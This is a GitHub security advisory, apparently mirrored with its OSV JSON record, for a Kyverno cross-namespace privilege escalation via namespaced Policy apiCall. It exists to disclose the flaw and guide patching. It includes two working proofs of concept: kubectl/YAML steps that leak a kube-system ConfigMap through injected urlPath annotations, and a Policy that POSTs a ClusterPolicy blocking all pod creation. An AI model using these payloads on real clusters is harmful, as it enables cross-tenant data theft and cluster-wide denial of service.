GHSA-8P9X-46GM-QFX2
Vulnerability from github – Published: 2026-01-27 18:01 – Updated: 2026-01-27 18:01Summary
A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.
As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.
Details
The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.
-
In
pkg/engine/apicall/apiCall.go, theFetchmethod performs variable substitution on the entireAPICallobject, including theURLPath.go // pkg/engine/apicall/apiCall.go func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) { // Variable substitution happens here call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall) // ... data, err := a.Execute(ctx, &call.APICall) -
In
pkg/engine/apicall/executor.go, theExecutemethod delegates toexecuteK8sAPICall, which passes the raw path directly to the Kubernetes client'sRawAbsPathmethod.go // pkg/engine/apicall/executor.go func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) { // ... // Path is used directly in the raw API call jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)
Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.
PoC 001 - Data exfiltration
The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.
0. Setup kind + Kyverno
Tested with Kyverno v1.16.1 on k8s v1.34.0.
kind create cluster
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update
helm install kyverno kyverno/kyverno -n kyverno --create-namespace
1. Setup target and low-privileged user
Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace.
# Create confidential data in kube-system
kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data
# Create a restricted service account
kubectl create sa policy-admin -n default
# Create a role for managing policies and configmaps in default namespace only
kubectl create role policy-admin-role -n default \
--verb=create,get,list,update,delete \
--resource=policies.kyverno.io,configmaps
# Bind the role to the service account
kubectl create rolebinding policy-admin-binding -n default \
--role=policy-admin-role \
--serviceaccount=default:policy-admin
# Verify the user cannot access kube-system
kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin
# Output: no
2. Create malicious policy as the restricted user
Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace.
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: cross-ns-leak
namespace: default
spec:
validationFailureAction: Enforce
rules:
- name: leak-config
match:
resources:
kinds:
- ConfigMap
context:
- name: leakedData
apiCall:
# Injection happens here via annotations
urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}"
jmesPath: "data.key"
validate:
# The leaked data is returned in the denial message
message: "LEAKED DATA: {{leakedData}}"
deny: {}
EOF
3. Trigger the leak
As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system.
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-leak
namespace: default
annotations:
target_ns: "kube-system"
target_name: "target-cm"
data: {}
EOF
4. Result
The creation request is denied, but the error message contains the secret data from kube-system, proving the privilege escalation.
Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:
resource ConfigMap/default/trigger-leak was blocked due to the following policies
cross-ns-leak:
leak-config: 'LEAKED DATA: confidential-data'
PoC 002 - ClusterPolicy injection
Continue from the setup from the previous PoC.
This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a ClusterPolicy that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.
1. Apply a malicious policy
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: mutation-cpol
namespace: default
spec:
validationFailureAction: Enforce
rules:
- name: create-malicious-cpol
match:
resources:
kinds:
- ConfigMap
context:
- name: mutation
apiCall:
urlPath: "/apis/kyverno.io/v1/clusterpolicies"
method: POST
data:
- key: apiVersion
value: "kyverno.io/v1"
- key: kind
value: "ClusterPolicy"
- key: metadata
value:
name: "malicious-cpol"
- key: spec
value:
validationFailureAction: Enforce
rules:
- name: block-all
match:
resources:
kinds:
- Pod
validate:
message: "Blocked by malicious policy"
deny: {}
validate:
message: "Created ClusterPolicy: {{mutation.metadata.name}}"
deny: {}
EOF
2. Trigger the policy
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-cpol
namespace: default
data: {}
EOF
This outputs an error:
Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:
resource ConfigMap/default/trigger-cpol was blocked due to the following policies
mutation-cpol:
create-malicious-cpol: ""
3. Observe the new cluster policy
kubectl get clusterpolicy malicious-cpol
Outputs:
NAME ADMISSION BACKGROUND READY AGE MESSAGE
malicious-cpol true true True 4m58s Ready
4. Verify that no new pods can be created (even as a cluster admin)
Run:
kubectl run --image=nginx foo
Outputs:
Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:
resource Pod/default/foo was blocked due to the following policies
malicious-cpol:
block-all: Blocked by malicious policy
Impact
- Users with
Policycreation rights in a single namespace can escalate privileges (context of Kyverno admission controller). - Since
apiCallsupportsPOST, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding inkube-systemto grant themselves cluster-admin) if the Kyverno service account has write permissions. - Attackers can disrupt the entire cluster by creating a malicious
ClusterPolicythat blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2. - Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC.
- In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.
The following command should be run on a per-environment basis to understand impact:
kubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list
By default, this does not include Secrets.
Mitigation
The apiCall logic should enforce that Policy resources (namespaced policies) can only access resources within the same namespace. If a Policy attempts to access a resource in a different namespace via urlPath, the request should be blocked. ClusterPolicy resources are unaffected by this restriction as they are intended to operate cluster-wide.
The mitigation logic validates the urlPath for namespaced policies by ensuring:
1. The path explicitly contains the /namespaces/<namespace>/ segment.
2. The namespace in the path matches the policy's namespace.
3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.
This effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like ClusterPolicy) or resources in other namespaces via the POST method.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0-rc.1"
},
{
"fixed": "1.16.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22039"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-27T18:01:26Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nA critical authorization boundary bypass in namespaced Kyverno Policy [apiCall](https://kyverno.io/docs/policy-types/cluster-policy/external-data-sources/#url-paths). The resolved `urlPath` is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy\u2019s namespace.\n\nAs a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno\u2019s admission controller identity, targeting any API path allowed by that ServiceAccount\u2019s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.\n\n### Details\n\nThe vulnerability exists in how Kyverno handles `apiCall` context entries. The code substitutes variables into the `URLPath` field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.\n\n1. In `pkg/engine/apicall/apiCall.go`, the `Fetch` method performs variable substitution on the entire `APICall` object, including the `URLPath`.\n ```go\n // pkg/engine/apicall/apiCall.go\n func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {\n // Variable substitution happens here\n call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)\n // ...\n data, err := a.Execute(ctx, \u0026call.APICall)\n ```\n\n2. In `pkg/engine/apicall/executor.go`, the `Execute` method delegates to `executeK8sAPICall`, which passes the raw path directly to the Kubernetes client\u0027s `RawAbsPath` method.\n ```go\n // pkg/engine/apicall/executor.go\n func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) {\n // ...\n // Path is used directly in the raw API call\n jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)\n ```\n\nBecause `RawAbsPath` executes a direct HTTP request to the API server using Kyverno\u0027s admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn\u0027t have access to.\n\n### PoC 001 - Data exfiltration\nThe following steps demonstrate how a user restricted to the `default` namespace (with no access to `kube-system`) can read a sensitive ConfigMap from the `kube-system` namespace.\n\n**0. Setup kind + Kyverno**\n\nTested with Kyverno v1.16.1 on k8s v1.34.0.\n\n```bash\nkind create cluster\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm repo update\nhelm install kyverno kyverno/kyverno -n kyverno --create-namespace\n```\n\n**1. Setup target and low-privileged user**\nCreate a confidential resource in a privileged namespace, and create a restricted user `policy-admin` who only has permissions to manage policies in the `default` namespace.\n```bash\n# Create confidential data in kube-system\nkubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data\n\n# Create a restricted service account\nkubectl create sa policy-admin -n default\n\n# Create a role for managing policies and configmaps in default namespace only\nkubectl create role policy-admin-role -n default \\\n --verb=create,get,list,update,delete \\\n --resource=policies.kyverno.io,configmaps\n\n# Bind the role to the service account\nkubectl create rolebinding policy-admin-binding -n default \\\n --role=policy-admin-role \\\n --serviceaccount=default:policy-admin\n\n# Verify the user cannot access kube-system\nkubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin\n# Output: no\n```\n\n**2. Create malicious policy as the restricted user**\nImpersonating the restricted user `policy-admin`, apply a namespaced `Policy` in the `default` namespace.\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: cross-ns-leak\n namespace: default\nspec:\n validationFailureAction: Enforce\n rules:\n - name: leak-config\n match:\n resources:\n kinds:\n - ConfigMap\n context:\n - name: leakedData\n apiCall:\n # Injection happens here via annotations\n urlPath: \"/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}\"\n jmesPath: \"data.key\"\n validate:\n # The leaked data is returned in the denial message\n message: \"LEAKED DATA: {{leakedData}}\"\n deny: {}\nEOF\n```\n\n**3. Trigger the leak**\nAs the restricted user, create a ConfigMap in the `default` namespace with annotations pointing to the target resource in `kube-system`.\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: v1\nkind: ConfigMap\nmetadata:\n name: trigger-leak\n namespace: default\n annotations:\n target_ns: \"kube-system\"\n target_name: \"target-cm\"\ndata: {}\nEOF\n```\n\n**4. Result**\nThe creation request is denied, but the error message contains the secret data from `kube-system`, proving the privilege escalation.\n\n```\nError from server: error when creating \"STDIN\": admission webhook \"validate.kyverno.svc-fail\" denied the request: \n\nresource ConfigMap/default/trigger-leak was blocked due to the following policies \n\ncross-ns-leak:\n leak-config: \u0027LEAKED DATA: confidential-data\u0027\n```\n\n### PoC 002 - ClusterPolicy injection\n\nContinue from the setup from the previous PoC.\n\nThis vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a `ClusterPolicy` that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.\n\n**1. Apply a malicious policy**\n\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: mutation-cpol\n namespace: default\nspec:\n validationFailureAction: Enforce\n rules:\n - name: create-malicious-cpol\n match:\n resources:\n kinds:\n - ConfigMap\n context:\n - name: mutation\n apiCall:\n urlPath: \"/apis/kyverno.io/v1/clusterpolicies\"\n method: POST\n data:\n - key: apiVersion\n value: \"kyverno.io/v1\"\n - key: kind\n value: \"ClusterPolicy\"\n - key: metadata\n value:\n name: \"malicious-cpol\"\n - key: spec\n value:\n validationFailureAction: Enforce\n rules:\n - name: block-all\n match:\n resources:\n kinds:\n - Pod\n validate:\n message: \"Blocked by malicious policy\"\n deny: {}\n validate:\n message: \"Created ClusterPolicy: {{mutation.metadata.name}}\"\n deny: {}\nEOF\n```\n\n**2. Trigger the policy**\n\n```bash\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: v1\nkind: ConfigMap\nmetadata:\n name: trigger-cpol\n namespace: default\ndata: {}\nEOF\n```\n\nThis outputs an error:\n\n```\nError from server: error when creating \"STDIN\": admission webhook \"validate.kyverno.svc-fail\" denied the request:\n\nresource ConfigMap/default/trigger-cpol was blocked due to the following policies\n\nmutation-cpol:\n create-malicious-cpol: \"\"\n```\n\n**3. Observe the new cluster policy**\n\n```bash\nkubectl get clusterpolicy malicious-cpol\n```\n\nOutputs:\n\n```\nNAME ADMISSION BACKGROUND READY AGE MESSAGE\nmalicious-cpol true true True 4m58s Ready\n```\n\n**4. Verify that no new pods can be created (even as a cluster admin)**\n\nRun:\n\n```\nkubectl run --image=nginx foo\n```\n\nOutputs:\n\n```\nError from server: admission webhook \"validate.kyverno.svc-fail\" denied the request:\n\nresource Pod/default/foo was blocked due to the following policies\n\nmalicious-cpol:\n block-all: Blocked by malicious policy\n```\n### Impact\n\n- Users with `Policy` creation rights in a single namespace can escalate privileges (context of Kyverno admission controller).\n- Since `apiCall` supports `POST`, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in `kube-system` to grant themselves cluster-admin) if the Kyverno service account has write permissions.\n- Attackers can disrupt the entire cluster by creating a malicious `ClusterPolicy` that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2.\n- Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC.\n- In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.\n\nThe following command should be run on a per-environment basis to understand impact:\n\n```\nkubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list\n```\n\nBy default, this does not include Secrets. \n\n\n### Mitigation\n\nThe `apiCall` logic should enforce that `Policy` resources (namespaced policies) can only access resources within the same namespace. If a `Policy` attempts to access a resource in a different namespace via `urlPath`, the request should be blocked. `ClusterPolicy` resources are unaffected by this restriction as they are intended to operate cluster-wide.\n\nThe mitigation logic validates the `urlPath` for namespaced policies by ensuring:\n1. The path explicitly contains the `/namespaces/\u003cnamespace\u003e/` segment.\n2. The namespace in the path matches the policy\u0027s namespace.\n3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.\n\nThis effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like `ClusterPolicy`) or resources in other namespaces via the `POST` method.",
"id": "GHSA-8p9x-46gm-qfx2",
"modified": "2026-01-27T18:01:26Z",
"published": "2026-01-27T18:01:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-8p9x-46gm-qfx2"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/e0ba4de4f1e0ca325066d5095db51aec45b1407b"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/eba60fa856c781bcb9c3be066061a3df03ae4e3e"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Kyverno Cross-Namespace Privilege Escalation via Policy apiCall"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.